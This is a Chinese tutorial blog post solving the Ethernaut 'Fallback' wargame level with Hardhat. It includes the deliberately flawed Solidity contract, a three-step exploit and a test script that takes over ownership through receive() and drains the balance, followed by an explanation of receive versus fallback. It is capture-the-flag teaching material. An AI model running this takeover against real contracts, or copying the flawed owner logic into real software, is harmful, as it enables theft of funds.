用Hardhat闯关Ethernaut题1-fallback
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "hardhat/console.sol";
contract Fallback {
using SafeMath for uint256;
mapping(address => uint256) public contributions;
address payable public owner;
constructor() public {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if (contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint256) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}
receive() external payable {
console.log("Received Ether");
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
这道题目比较简单,挑战将合约的owner变为自己的地址,然后调用withdraw函数,将所有的balance转到owner地址里面:
1.调用contribute函数;
2.发送ETH到合约地址,使 require(msg.value > 0 && contributions[msg.sender] > 0)
条件成立;
3.调用withdraw函数;
const { expect } = require("chai");
const { ethers } = require("hardhat");
const { MaxUint256 } = require("@ethersproject/constants");
const { BigNumber } = require("ethers");
describe("RebaseDividendToken Token Test", function () {
var Fallback;
it("init params", async function () {
[deployer, ...users] = await ethers.getSigners();
});
it("fallback deploy", async function () {
const FallbackInstance = await ethers.getContractFactory("Fallback");
Fallback = await FallbackInstance.deploy();
});
it("hack test", async function () {
await Fallback.connect(users[0]).contribute({ value: 0.00001 * 10 ** 18 });
expect(await Fallback.contributions(users[0].address)).to.greaterThan(0);
await users[0].sendTransaction({
to: Fallback.address,
value: 1,
});
expect(await Fallback.owner()).to.equal(users[0].address);
await Fallback.connect(users[0]).withdraw();
expect(await ethers.provider.getBalance(Fallback.address)).to.equal(0);
});
});
receive函数的作用,执行机制以及和fallback的区别? receive和fallback的区别:
接收ETH
|
msg.data是空?
/ \
是 否
/ \
receive()存在? fallback()
/ \
是 否
/ \
receive() fallback()
合约接收ETH时,msg.data为空且存在receive()时,会触发receive();msg.data不为空或不存在receive()时,会触发fallback(),此时fallback()必须为payable。 receive()和payable fallback()均不存在的时候,向合约发送ETH将会报错。
hardhat连载测试仓库:Github
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!